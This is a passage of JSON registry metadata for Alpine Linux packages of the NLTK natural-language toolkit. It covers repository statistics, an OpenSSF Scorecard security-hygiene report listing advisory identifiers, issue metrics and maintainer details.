cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.559Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":1.3266171263278639,"forks_count":0.827888883347464,"docker_downloads_count":null,"average":0.5386265024188319},"purl":"pkg:apk/alpine/py3-nltk-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.18","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk-pyc/codemeta","maintainers":[{"uuid":"iztok@iztok-jr-fister.eu","login":null,"name":"Iztok Fister, Jr.","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","packages_count":231,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","role":null,"created_at":"2023-05-23T07:17:55.020Z","updated_at":"2023-05-23T07:17:55.020Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers/iztok@iztok-jr-fister.eu/packages"}],"registry":{"name":"alpine-v3.18","url":"https://pkgs.alpinelinux.org/packages?branch=v3.18","ecosystem":"alpine","default":false,"packages_count":20068,"maintainers_count":367,"namespaces_count":2,"keywords_count":3640,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1185},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-05-22T10:43:30.622Z","updated_at":"2026-06-10T05:19:44.026Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/namespaces"}},{"id":10344980,"name":"py3-nltk","ecosystem":"alpine","description":"Natural Language Toolkit","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_number":"3.8.1-r3","last_synced_at":"2026-04-08T13:08:34.439Z","created_at":"2024-06-11T10:12:22.848Z","updated_at":"2026-04-08T13:08:34.440Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.20/community/x86_64/py3-nltk","install_command":"apk add py3-nltk","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.508Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.20","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_p